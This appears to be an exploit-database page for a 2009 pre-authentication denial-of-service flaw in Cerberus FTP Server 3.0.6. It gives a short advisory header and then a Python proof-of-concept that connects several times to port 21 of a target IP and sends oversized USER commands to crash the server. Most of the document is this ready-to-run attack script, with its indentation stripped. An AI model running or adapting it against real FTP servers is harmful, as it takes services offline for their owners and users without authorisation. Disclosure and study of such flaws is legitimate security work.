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Cerberus FTP server 3.0.6 Pre-Auth DoS
[======================================
Cerberus FTP server 3.0.6 Pre-Auth DoS
======================================
# Title: Cerberus FTP server 3.0.6 Pre-Auth DoS
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Francis Provencher
# Published: 2009-09-30
# Verified: yes
view source
print?
########################################################################
#############
Application: Cerberus FTP 3.0.6
Platforms: Windows XP Professional SP2
Windows Vista SP1
crash: YES
Exploitation: Remote DoS
Date: 2009-09-30
Author: Francis Provencher (Protek Research Lab's)
########################################################################
#############
1) Introduction
2) Technical details
3) The Code
########################################################################
#############
===============
1) Introduction
===============
Cerberus FTP Server is a secure and easy-to-use professional Windows FTP server featuring FIPS 140-2 certified encryption.
(from Cerberus FTP server website)
########################################################################
#############
============================
2) Technical details
============================
Cerberus FTP server Professional
Version 3.0.6
Build date 2009/09/28
########################################################################
#############
===========
3) The Code
===========
Proof of concept DoS code;
#!/usr/bin/env python
########################################################################
###########
#
# Cerberus FTP Server Denial of Service Exploit (Pre Auth)
# Found By: Francis Provencher (Protek Research Lab's)
# Tested On: Windows XPSP2
# Usage: ./script <Target IP>
#
########################################################################
###########
import socket, sys
def banner():
print "\n##################################################################"
print "# #"
print "# Cerberus FTP Server Denial of Service Exploit (Pre Auth) #"
print "# Francis Provencher (Protek Researh Lab's) #"
print "# #"
print "##################################################################\n"
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s4 = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
buff1 = ("\x41" * 330 );
buff2 = ("\x41" * 520 );
buff3 = ("\x41" * 2230 );
try:
banner();
print ("[*] Connecting to target...");
s1.connect((sys.argv[1] , 21));
s2.connect((sys.argv[1] , 21));
s3.connect((sys.argv[1] , 21));
s4.connect((sys.argv[1] , 21));
print ("[*] Sending evil stuff...");
s1.send("USER " + buff1 + "\r\n");
s2.send("USER " + buff2 + "\r\n");
s3.send("USER " + buff3 + "\r\n");
s4.send("USER " + buff1 + "\r\n");
print ("[*] Success! The server should now be inaccessible");
s1.close();
s2.close();
s3.close();
s4.close();
except:
print ("[-] Could not connect to server.");
########################################################################
#############
# 0day.today [2024-10-06] #